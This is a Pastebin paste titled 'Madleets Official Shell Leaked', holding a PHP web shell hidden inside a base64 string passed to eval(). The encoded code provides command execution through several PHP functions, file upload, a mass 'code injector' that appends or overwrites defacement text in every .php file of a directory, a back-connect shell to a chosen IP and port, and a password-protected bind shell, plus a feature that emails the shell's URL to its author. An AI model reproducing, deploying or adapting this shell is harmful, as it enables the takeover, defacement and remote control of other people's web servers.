SHARE
TWEET

Madleets Official Shell Leaked

fahimmagsi Jan 28th, 2016 244 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. // ------------------------------------- Default Password and Username is Madleet---------------------------------\
  3.  
  4. /**************** Change Password Here Please *********************************/
  5. $user = "Madleet";
  6. $pass = "Madleet";
  7.  
  8. ?>
  9.  
  10.  
  11. <?php eval("?>".base64_decode("Cjw/cGhwIAoKCgplcnJvcl9yZXBvcnRpbmcoMCk7IAppbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLDApOyAKCgovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIFNvbWUgaGVhZGVyIEZ1bmN0aW9ucyAoTmVlZCB0byBiZSBvbiB0b3ApIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVwgCgovKioqKioqKioqKioqKioqKiBEZWZpbmVzICoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKi8gCgokbG9jayA9ICJvbiI7IC8vIHNldCB0aGlzIHRvIG9mZiBpZiB5b3UgZG9udCBuZWVkIHRoZSBsb2dpbiBwYWdlIAokdHJhY2ViYWNrRmVhdHVyZSA9ICJvbiI7IC8vIHNldCB0aGlzIGZlYXR1cmUgdG8gZW5hYmxlIGVtYWlsIGFsZXJ0cyAKJG93bmVyRW1haWwgPSAiZmFoaW1tYWdzaUBnbWFpbC5jb20iOyAvLyBDaGFuZ2UgdGhpcyB0byB5b3VyIGVtYWlsICwgVGhpcyBlbWFpbCBpcyB1c2VkIHRvIGRlbGl2ZXIgdHJhY2ViYWNrcyBhYm91dCB5b3VyIHNoZWxsIAokdXJsID0gKCFlbXB0eSgkX1NFUlZFUlsnSFRUUFMnXSkpID8gImh0dHBzOi8vIi4kX1NFUlZFUlsnU0VSVkVSX05BTUUnXS4kX1NFUlZFUlsnUkVRVUVTVF9VUkknXSA6ICJodHRwOi8vIi4kX1NFUlZFUlsnU0VSVkV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gJiAweDA4MDApID8gJ3MnIDogJ3gnICkgOiAKICAgICAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7IAoKLy8gR3JvdXAgCiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7IAokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAxMCkgPyAndycgOiAnLScpOyAKJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDgpID8gCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwNDAwKSA/ICdzJyA6ICd4JyApIDogCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwNDAwKSA/ICdTJyA6ICctJykpOyAKCi8vIFdvcmxkIAokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwNCkgPyAncicgOiAnLScpOyAKJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsgCiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAxKSA/IAogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDIwMCkgPyAndCcgOiAneCcgKSA6IAogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDIwMCkgPyAnVCcgOiAnLScpKTsgCgpyZXR1cm4gJGluZm87IAoKfSAKCi8qKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKi8gCi8vIGV4ZWNfYWxsICwgQSBmdW5jdGlvbiB1c2VkIHRvIGV4ZWN1dGUgY29tbWFuZHMgLCBUaGlzIGZ1bmN0aW9uIHdpbGwgb25seSBleGVjdXRlIGlmIHRoZSBTYWZlIE1vZGUgaXMgCi8vIFR1cm5lZCBPZkYhIAovKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKi8gCgoKZnVuY3Rpb24gZXhlY19hbGwoJGNvbW1hbmQpIAp7IAogICAgIAogICAgJG91dHB1dCA9ICcnOyAKICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKSAKICAgIHsgICAgCiAgICAgICAgZXhlYygkY29tbWFuZCwkb3V0cHV0KTsgCiAgICAgICAgJG91dHB1dCA9IGpvaW4oIlxuIiwkb3V0cHV0KTsgCiAgICB9IAogICAgIAogICAgZWxzZSBpZihmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkgCiAgICB7IAogICAgICAgICRvdXRwdXQgPSBzaGVsbF9leGVjKCRjb21tYW5kKTsgCiAgICB9IAogICAgIAogICAgZWxzZSBpZihmdW5jdGlvbl9leGlzdHMoJ3BvcGVuJykpIAogICAgeyAKICAgICAgICAkaGFuZGxlID0gcG9wZW4oJGNvbW1hbmQgLCAiciIpOyAvLyBPcGVuIHRoZSBjb21tYW5kIHBpcGUgZm9yIHJlYWRpbmcgCiAgICAgICAgaWYoaXNfcmVzb3VyY2UoJGhhbmRsZSkpIAogICAgICAgIHsgCiAgICAgICAgICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnZnJlYWQnKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2Zlb2YnKSkgCiAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICB3aGlsZSghZmVvZigkaGFuZGxlKSkgCiAgICAgICAgICAgICAgICB7IAogICAgICAgICAgICAgICAgICAgICRvdXRwdXQgLj0gZnJlYWQoJGhhbmRsZSwgNTEyKTsgCiAgICAgICAgICAgICAgICB9IAogICAgICAgICAgICB9IAogICAgICAgICAgICBlbHNlIGlmKGZ1bmN0aW9uX2V4aXN0cygnZmdldHMnKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2Zlb2YnKSkgCiAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICB3aGlsZSghZmVvZigkaGFuZGxlKSkgCiAgICAgICAgICAgICAgICB7IAogICAgICAgICAgICAgICAgICAgICRvdXRwdXQgLj0gZmdldHMoJGhhbmRsZSw1MTIpOyAKICAgICAgICAgICAgICAgIH0gCiAgICAg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dG9yc3BlYyAsICRwaXBlcyk7IC8vIFRoaXMgd2lsbCByZXR1cm4gdGhlIG91dHB1dCB0byBhbiBhcnJheSAncGlwZXMnIAogICAgICAgIGlmKGlzX3Jlc291cmNlKCRoYW5kbGUpKSAKICAgICAgICB7IAogICAgICAgICAgICBpZihmdW5jdGlvbl9leGlzdHMoJ2ZyZWFkJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdmZW9mJykpIAogICAgICAgICAgICB7IAogICAgICAgICAgICAgICAgd2hpbGUoIWZlb2YoJHBpcGVzWzFdKSkgCiAgICAgICAgICAgICAgICB7IAogICAgICAgICAgICAgICAgICAgICRvdXRwdXQgLj0gZnJlYWQoJHBpcGVzWzFdLCA1MTIpOyAKICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgIH0gCiAgICAgICAgICAgIGVsc2UgaWYoZnVuY3Rpb25fZXhpc3RzKCdmZ2V0cycpICYmIGZ1bmN0aW9uX2V4aXN0cygnZmVvZicpKSAKICAgICAgICAgICAgeyAKICAgICAgICAgICAgICAgIHdoaWxlKCFmZW9mKCRwaXBlc1sxXSkpIAogICAgICAgICAgICAgICAgeyAKICAgICAgICAgICAgICAgICAgICAkb3V0cHV0IC49IGZnZXRzKCRwaXBlc1sxXSw1MTIpOyAKICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgIH0gCiAgICAgICAgfSAKICAgICAgICBwY2xvc2UoJGhhbmRsZSk7IAogICAgfSAKICAgIGVsc2UgCiAgICB7IAogICAgICAgICRvdXRwdXQgPSAiVGhleSBoYXZlIHRoZWlyIFNlY3VyaXR5IHRoZXJlISA6KCAiOyAKICAgIH0gCiAgICAgCiAgICByZXR1cm4oaHRtbHNwZWNpYWxjaGFycygkb3V0cHV0KSk7IAogICAgIAp9IApmdW5jdGlvbiBtYWdpY1F1b3RlKCR0ZXh0KSAKeyAKICAgIGlmICghZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkgCiAgICB7IAogICAgICAgIHJldHVybiAkdGV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ddKSkgCnsgCgogICAgaWYgKGlzc2V0KCRfUE9TVFsnZmlsZSddKSAmJiAKICAgICAgICBpc3NldCgkX1BPU1RbJ3BhdGgnXSkgIAogICAgICkgCiAgICB7IAogICAgICAgICRwYXRoID0gJF9QT1NUWydwYXRoJ107IAogICAgICAgICAgICAgCiAgICAgICAgaWYoJHBhdGhbKHN0cmxlbigkcGF0aCktMSldICE9ICRTRVBBUkFUT1IpeyRwYXRoID0gJHBhdGguJFNFUEFSQVRPUjt9IAogICAgICAgICAKICAgICAgICBpZihpc19kaXIoJHBhdGgpKSAKICAgICAgICB7IAogICAgICAgICAgICAkdXBsb2FkZWRGaWxlUGF0aCA9ICRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddOyAKICAgICAgICAgICAgJHRlbXBOYW1lID0gJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddOyAKICAgICAgICAgICAgJHVwbG9hZFBhdGggPSAkcGF0aCAuICAkdXBsb2FkZWRGaWxlUGF0aDsgCiAgICAgICAgICAgICRzdGF0ID0gbW92ZV91cGxvYWRlZF9maWxlKCR0ZW1wTmFtZSAsICR1cGxvYWRlZEZpbGVQYXRoKTsgCiAgICAgICAgICAgIGlmICgkc3RhdCkgCiAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICBlY2hvICI8cCBjbGFzcz0nd2FybmluZyc+RmlsZSB1cGxvYWRlZCB0byAkdXBsb2FkUGF0aDwvcD4iOyAKICAgICAgICAgICAgfSAKICAgICAgICAgICAgZWxzZSAKICAgICAgICAgICAgeyAKICAgICAgICAgICAgICAgIGVjaG8gIjxwIGNsYXNzPSd3YXJuaW5nJyA+IDooIDonKCBGYWlsZWQgdG8gdXBsb2FkIGZpbGUgdG8gJHVwbG9hZFBhdGg8L3A+IjsgCiAgICAgICAgICAgIH0gCiAgICAgICAgIH0gCiAgICB9IAogICAgZWxzZSAKICAgIHsgCiAgICA/PiAKICAgIDx0YWJsZSBjbGFzcz0iYmluZCIgYWxpZ249ImNlbnRlciIgPiAKICAgIDx0cj4gCiAgICAgICAgPHRoIGNsYXNzPSJoZWFkZXIiIGNvbHNwYW49IjEiIHdpZHRoPSI1MHB4Ij5VcGxvYWQgKEZyb20gdXIgQ29tcHV0ZXIpPC90aD4gCiAgICA8L3RyPiAKICAgIDx0cj4gCiAgICAgICAgIDx0ZD4gCiAgICAgICAgICAgIDx0YWJsZSBzdHlsZT0iYm9yZGVyLXNwYWNpbmc6IDZweDsiPiAKICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0iUE9TVCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+IAogICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEwMCI+PGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiLz48L3RkPiAKICAgICAgICAgICAgICAgICAgICA8dGQ+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iZmlsZSIgY2xhc3M9Im93biIgdmFsdWU9IlVwbG9hZCIvPjwvdGQ+IAogICAgICAgICAgICAgCiAgICAgICAgICAgICAgICA8L3RyPiAKICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIyIj4gCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz0nY21kJyBzdHlsZT0id2lkdGg6IDI4MHB4OyIgbmFtZT0ncGF0aCcgdmFsdWU9Ijw/cGhwIGVjaG8gZ2V0Y3dkKCk7ID8+IiAvPiAgICAKICAgICAgICAgICAgICAgICAgICA8L3RkPiAKICAgICAgICAgICAgICAgIDwvdHI+IAogICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgPC9mb3JtPiAKICAgICAgICAgICAgPC90YWJsZT4gCiAgICAgICAgIDwvdGQ+IAogICAgPC90cj4gCiAgICA8L3RhYmxlPiAKPD9waHAgCiAgICB9IAoKfSAKCi8vIENvZGUgSW5qZWN0b3IgCgplbHNlIGlmKGlzc2V0KCRfR0VUWydpbmplY3RvciddKSkgCnsgCiAgICBpZihpc3NldCgkX0dFVFsnZGlyJ10pICYmIAogICAgJF9HRVRbJ2RpciddICE9ICcnICYmIAogICAgaXNzZXQoJF9HRVRbJ2ZpbGV0eXBlJ10pICYmIAogICAgJF9HRVRbJ2ZpbGV0eXBlJ10gIT0gJycgJiYgCiAgICBpc3NldCgkX0dFVFsnbW9kZSddKSAmJiAKICAgICRfR0VUWydtb2RlJ10gIT0gJycgJiYgIAogICAgaXNzZXQoJF9HRVRbJ21lc3NhZ2UnXSkgJiYgCiAgICAkX0dFVFsnbWVzc2FnZSddICE9ICcnICAKICAgICkgCiAgICB7IAogICAgICAgICRkaXIgPSAkX0dFVFsnZGlyJ107IAogICAgICAgICRmaWxldHlwZSA9ICRfR0VUWydmaWxldHlwZSddOyAKICAgICAgICAkbWVzc2FnZSA9ICRfR0VUWydtZXNzYWdlJ107IAogICAgICAgICAKICAgICAgICAkbW9kZSA9ICJhIjsgLy9kZWZhdWx0IG1vZGUgCiAgICAgICAgIAogICAgICAgICAKICAgICAgICAvLyBNb2RlcyBCZWdpbiAKICAgICAgICAgCiAgICAgICAgaWYoJF9HRVRbJ21vZGUnXSA9PSAnQXBlbmRlcicpIAogICAgICAgIHsgCiAgICAgICAgICAgICRtb2RlID0gImEiOyAKICAgICAgICB9IAogICAgICAgIGlmKCRfR0VUWydtb2RlJ10gPT0gJ092ZXJ3cml0ZXInKSAKICAgICAgICB7IAogICAgICAgICAgICAkbW9kZSA9ICJ3IjsgCiAgICAgICAgfSAKICAgICAgICAgCiAgICAgICAgaWYoJGhhbmRsZSA9IG9wZW5kaXIoJGRpcikpIAogICAgICAgIHsgCiAgICAgICAgICAgID8+IAogICAgICAgICAgICBPdmVyd3JpdHRlbiBGaWxlcyA6LSAKICAgICAgICAgICAgPHVsIHN0eWxlPSJwYWRkaW5nOiAxMHB4OyIgPiAKICAgICAgICAgICAgPD9waHAgCiAgICAgICAgICAgIHdoaWxlKCgkZmlsZSA9IHJlYWRkaXIoJGhhbmRsZSkpICE9PSBGYWxzZSkgCiAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICBpZigocHJlZ19tYXRjaCgiLyRmaWxldHlwZSIuJyQnLicvJywgJGZpbGUgLCAkbWF0Y2hlcykgIT0gMCkgJiYgKHByZWdfbWF0Y2goJy8nLiRmaWxlLickLycsICRzZWxmICwgJG1hdGNoZXMpICE9IDEpKSAKICAgICAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICAgICAgPz4gCiAgICAgICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz0iZmlsZSI+PGEgaHJlZj0iPD9waHAgZWNobyAiJHNlbGY/b3Blbj0kZGlyJGZpbGUiPz4iPjw/cGhwIGVjaG8gJGZpbGU7ID8+PC9hPjwvbGk+IAogICAgICAgICAgICAgICAgICAgIDw/cGhwIAogICAgICAgICAgICAgICAgICAgIGVjaG8gIlxuIjsgCiAgICAgICAgICAgICAgICAgICAgJGZkID0gZm9wZW4oJGRpci4kZmlsZSwkbW9kZSk7IAogICAgICAgICAgICAgICAgICAgIGZ3cml0ZSgkZmQsJG1lc3NhZ2UpOyAKICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgIH0gCiAgICAgICAgICAgID8+IAogICAgICAgICAgICA8L3VsPiAKICAgICAgICAgICAgPD9waHAgCiAgICAgICAgfSAKICAgIH0gCiAgICBlbHNlIAogICAgeyAKICAgICAgICA/PiAKICAgICAgICA8dGFibGUgaWQ9Im1hcmdpbnMiID4gCiAgICAgICAgPHRyPiAKICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSdHRVQnPiAKICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iaW5qZWN0b3IiLz4gICAKICAgICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMDAiIGNsYXNzPSJ0aXRsZSI+IAogICAgICAgICAgICAgICAgICAgICAgICBEaXJlY3RvcnkgCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICAgICAgPHRkPiAKICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz0iY21kIiBuYW1lPSJkaXIiIHZhbHVlPSI8P3BocCBlY2hvIGdldGN3ZCgpLiRTRVBBUkFUT1I7ID8+IiAvPiAKICAgICAgICAgICAgICAgICAgICA8L3RkPiAKICAgICAgICAgICAgICAgIDwvdHI+IAogICAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0idGl0bGUiPiAKICAgICAgICAgICAgICAgICAgICBNb2RlIAogICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICA8dGQ+IAogICAgICAgICAgICAgICAgICAgICAgICA8c2VsZWN0IHN0eWxlPSJ3aWR0aDogNDAwcHg7IiBuYW1lPSJtb2RlIiBjbGFzcz0iY21kIj4gCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJBcGVuZGVyIj5BcGVuZGVyPC9vcHRpb24+IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iT3ZlcndyaXRlciI+T3ZlcndyaXRlcjwvb3B0aW9uPiAKICAgICAgICAgICAgICAgICAgICAgICAgPC9zZWxlY3Q+IAogICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICA8L3RyPiAKICAgICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJ0aXRsZSI+IAogICAgICAgICAgICAgICAgICAgICAgICBGaWxlIFR5cGUgCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICAgICAgPHRkPiAKICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJjbWQiIG5hbWU9ImZpbGV0eXBlIiB2YWx1ZT0iLnBocCIgb25ibHVyPSJpZih0aGlzLnZhbHVlPT0nJyl0aGlzLnZhbHVlPScucGhwJzsiIC8+IAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgPC90cj4gCiAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIyIj4gCiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZXh0YXJlYSBuYW1lPSJtZXNzYWdlIiBjb2xzPSIxNzMiIHJvd3M9IjEwIiBjbGFzcz0iY21kIj5BbGwgaSByZW1lbWJlciBhcmUgdGhvc2UgbG9uZWx5IG5pZ2h0cyB3aGVuIGkgd2FzIGRlZmFjaW5nIHRob3NlIGluc2VjdXJlIHdlYnNpdGVzITwvdGV4dGFyZWE+IAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgPC90cj4gCiAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICAgIDx0ZCByb3dzcGFuPSIyIj4gCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBzdHlsZT0ibWFyZ2luIDogMjBweDsgbWFyZ2luLWxlZnQ6IDM5MHB4OyBwYWRkaW5nIDogMTBweDsgd2lkdGg6IDEwMHB4OyIgdHlwZT0ic3VibWl0IiBjbGFzcz0ib3duIiB2YWx1ZT0iSW5qZWN0IDpEIi8+IAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgPC90cj4gCiAgICAgICAgPC9mb3JtPiAKICAgICAgICA8L3RhYmxlPiAKICAgICAgICA8P3BocCAKICAgIH0gCn0gCi8vIENvbm5lY3QgCgplbHNlIGlmKGlzc2V0KCRfR0VUWydjb25uZWN0J10pKSAKeyAKICAgIGlmKGlzc2V0KCRfUE9TVFsnaXAnXSkgJiYgCiAgICAgaXNzZXQoJF9QT1NUWydwb3J0J10pICYmICAKICAgICAgICAkX1BPU1RbJ2lwJ10gIT0gIiIgJiYgCiAgICAgICAgJF9QT1NUWydwb3J0J10gIT0gIiIgCiAgICAgKSAKICAgIHsgCiAgICAgICAgZWNobyAiPHA+VGhlIFByb2dyYW0gaXMgbm93IHRyeWluZyB0byBjb25uZWN0ITwvcD4iOyAKICAgICAgICAkaXAgPSAkX1BPU1RbJ2lwJ107ICAKICAgICAgICAkcG9ydD0kX1BPU1RbJ3BvcnQnXTsgIAogICAgICAgICRzb2NrZmQ9ZnNvY2tvcGVuKCRpcCAsICRwb3J0ICwgJGVycm5vLCAkZXJyc3RyICk7ICAKICAgICAgICBpZigkZXJybm8gIT0gMCkgCiAgICAgICAgeyAKICAgICAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9J3JlZCc+PGI+JGVycm5vPC9iPiA6ICRlcnJzdHI8L2ZvbnQ+IjsgCiAgICAgICAgfSAKICAgICAgICBlbHNlIGlmICghJHNvY2tmZCkgCiAgICAgICAgeyAgCiAgICAgICAgICAgICAgICRyZXN1bHQgPSAiPHA+RmF0YWwgOiBBbiB1bmV4cGVjdGVkIGVycm9yIHdhcyBvY2N1cmVkIHdoZW4gdHJ5aW5nIHRvIGNvbm5lY3QhPC9wPiI7IAogICAgICAgIH0gIAogICAgICAgIGVsc2UgCiAgICAgICAgeyAgCiAgICAgICAgICAgIGZwdXRzICgkc29ja2ZkICwiXG49PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PVxuTWFkbGVldC1TaGVsbCB8IEMwZDNkIGJ5IE1hZGxlZXQgfCBQYWtpc3Rhbmlcbj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Iik7IAogICAgICAgICA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maW5pdGUgZXhlY3V0aW9uIAogICAgICAgIHNldF90aW1lX2xpbWl0ICgwKTsgCiAgICAgICAgIAogICAgICAgICAKICAgICAgICAvLyBTZXQgdGhlIGlwIGFuZCBwb3J0IHdlIHdpbGwgbGlzdGVuIG9uIAogICAgICAgICRhZGRyZXNzID0gJzEyNy4wLjAuMSc7IAogICAgICAgICRwb3J0ID0gJF9QT1NUWydwb3J0J107IAogICAgICAgICRwYXNzID0gJF9QT1NUWydwYXNzd2QnXTsgCgogICAgICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygic29ja2V0X2NyZWF0ZSIpKSAKICAgICAgICB7IAogICAgICAgIC8vIENyZWF0ZSBhIFRDUCBTdHJlYW0gc29ja2V0IAogICAgICAgICRzb2NrZmQgPSBzb2NrZXRfY3JlYXRlKEFGX0lORVQsIFNPQ0tfU1RSRUFNLCBTT0xfVENQKTsgCgogICAgICAgCiAgICAgICAgLy8gQmluZCB0aGUgc29ja2V0IHRvIGFuIGFkZHJlc3MvcG9ydCAKICAgICAgICAgCiAgICAgICAgIAogICAgICAgIGlmKHNvY2tldF9iaW5kKCRzb2NrZmQsICRhZGRyZXNzLCAkcG9ydCkgPT0gRkFMU0UpIAogICAgICAgIHsgCiAgICAgICAgICAgIGVjaG8gIkNhbnQgQmluZCB0byB0aGUgc3BlY2lmaWVkIHBvcnQgYW5kIGFkZHJlc3MhIjsgCiAgICAgICAgfSAKICAgICAgICAvLyBTdGFydCBsaXN0ZW5pbmcgZm9yIGNvbm5lY3Rpb25zIAogICAgICAgIHNvY2tldF9saXN0ZW4oJHNvY2tmZCwxNSk7IAogICAgICAgICAKICAgICAKICAgICAgICAkcGFzc3dvcmRQcm9tcHQgPSAiXG49PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PVxuTWFkbGVldC1TaGVsbCB8IEMwZDNkIGJ5IE1hZGxlZXQgfCBQYWtpc3Rhbmlcbj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09XG5cbjB4UGFzc3dvcmQgOiAiOyAKICAgICAgICAgCiAgICAgICAgLyogQWNjZXB0IGluY29taW5nIHJlcXVlc3RzIGFuZCBoYW5kbGUgdGhlbSBhcyBjaGlsZCBwcm9jZXNzZXMgKi8gCiAgICAgICAgJGNsaWVudCA9IHNvY2tldF9hY2NlcHQoJHNvY2tmZCk7IAogICAgICAgICAKCiAgICAgICAgc29ja2V0X3dyaXRlKCRjbGllbnQgLCAkcGFzc3dvcmRQcm9tcHQpOyAKICAgICAgICAvLyBSZWFkIHRoZSBwYXNzIGZyb20gdGhlIGNsaWVudCAKICAgICAgICAkaW5wdXQgPSBzb2NrZXRfcmVhZCgkY2xpZW50LCBzdHJsZW4oJHBhc3MpICsgMik7IC8vICsyIGZvciBcclxuIAogICAgICAgIGlmKHRyaW0oJGlucHV0KSA9PSAkcGFzcykgCiAgICAgICAgeyAKICAgICAgICAgICAgc29ja2V0X3dyaXRlKCRjbGllbnQgLCAiXG5cbiIpOyAKICAgICAgICAgICAgc29ja2V0X3dyaXRlKCRjbGllbnQgLCAoJG9zID09ICJXaW5kb3dzIikgPyBleGVjX2FsbCgiZGF0ZSAvdCAmIHRpbWUgL3QiKSAgLiAiXG4iIC4gZXhlY19hbGwoInZlciIpIDogZXhlY19hbGwoImRhdGUiKSAuICJcbiIgLiBleGVjX2FsbCgidW5hbWUgLWEiKSk7IAogICAgICAgICAgICBzb2NrZXRfd3JpdGUoJGNsaWVudCAsICJcblxuIik7IAogICAgICAgICAgICB3aGlsZSgxKSAKICAgICAgICAgICAgeyAKICAgICAgICAgICAgICAgIC8vIFByaW50IENvbW1hbmQgcHJvbXB0IAogICAgICAgICAgICAgICAgJGNvbW1hbmRQcm9tcHQgPSIoTWFkbGVldC1TaGVsbClbJF0+ICI7IAogICAgICAgICAgICAgICAgJG1heENtZExlbiA9IDMxMzM3OyAKICAgICAgICAgICAgICAgIHNvY2tldF93cml0ZSgkY2xpZW50LCRjb21tYW5kUHJvbXB0KTsgCiAgICAgICAgICAgICAgICAkY21kID0gc29ja2V0X3JlYWQoJGNsaWVudCwkbWF4Q21kTGVuKTsgCiAgICAgICAgICAgICAgICBpZigkY21kID09IEZBTFNFKSAKICAgICAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICAgICAgZWNobyAiVGhlIGNsaWVudCBDbG9zZWQgdGhlIGNvbmVjdGlvbiEiOyAKICAgICAgICAgICAgICAgICAgICBicmVhazsgCiAgICAgICAgICAgICAgICB9IAogICAgICAgICAgICAgICAgc29ja2V0X3dyaXRlKCRjbGllbnQgLCBleGVjX2FsbCgkY21kKSk7IAogICAgICAgICAgICB9IAogICAgICAgIH0gCiAgICAgICAgZWxzZSAKICAgICAgICB7IAogICAgICAgICAgICBlY2hvICJXcm9uZyBQYXNzd29yZCEiOyAKICAgICAgICAgICAgc29ja2V0X3dyaXRlKCRjbGllbnQsICJzVSh8PCAtIDBGRiBCaXRjaCFcblxuIik7IAogICAgICAgIH0gCiAgICAgICAgc29ja2V0X3NodXRkb3duKCRjbGllbnQsIDIpOyAKICAgICAgICBzb2NrZXRfY2xvc2UoJHNvY2tldCk7IAogICAgICAgICAKICAgICAgICAvLyBDbG9zZSB0aGUgY2xpZW50IChjaGlsZCkgc29ja2V0IAogICAgICAgIC8vc29ja2V0X2Nsb3NlKCRjbGllbnQpOyAKICAgICAgICAvLyBDbG9zZSB0aGUgbWFzdGVyIHNvY2tldHMgCiAgICAgICAgLy9zb2NrZXRfY2xvc2UoJHNvY2spOyAKICAgICAgICB9IAogICAgICAgIGVsc2UgCiAgICAgICAgeyAKICAgICAgICAgICAgZWNobyAiU29ja2V0IENvbmVjdGlvbnMgbm90IEFsbG93ZWQvU3VwcG9ydGVkIGJ5IHRoZSBzZXJ2ZXIhIDxiciAvPiI7IAogICAgICAgIH0gCiAgICB9IAogICAgZWxzZSAKICAgIHsgCiAgICA/PiAgICAgICAgCiAgICA8dG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KICAgICAgICAgPC90ZD4gCiAgICAgICAgIDwvZm9ybT4gIAogICAgICAgICA8Zm9ybSBtZXRob2Q9IlBPU1QiPiAKICAgICAgICAgPHRkPiAKICAgICAgICAgICAgPHRhYmxlIHN0eWxlPSJib3JkZXItc3BhY2luZzogNnB4OyI+IAogICAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgICAgICA8dGQ+UG9ydDwvdGQ+IAogICAgICAgICAgICAgICAgICAgIDx0ZD4gCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBzdHlsZT0id2lkdGg6IDIwMHB4OyIgY2xhc3M9ImNtZCIgbmFtZT0icG9ydCIgdmFsdWU9IjMxMzM3IiAvPiAKICAgICAgICAgICAgICAgICAgICA8L3RkPiAKICAgICAgICAgICAgICAgIDwvdHI+IAogICAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgICAgICA8dGQ+UGFzc3dkIDwvdGQ+IAogICAgICAgICAgICAgICAgICAgIDx0ZD48aW5wdXQgc3R5bGU9IndpZHRoOiAxMDBweDsiIGNsYXNzPSJjbWQiIG5hbWU9InBhc3N3ZCIgc2l6ZT0nNScgdmFsdWU9Ik1hZGxlZXQiLz4mbmJzcDsmbmJzcDs8aW5wdXQgc3R5bGU9In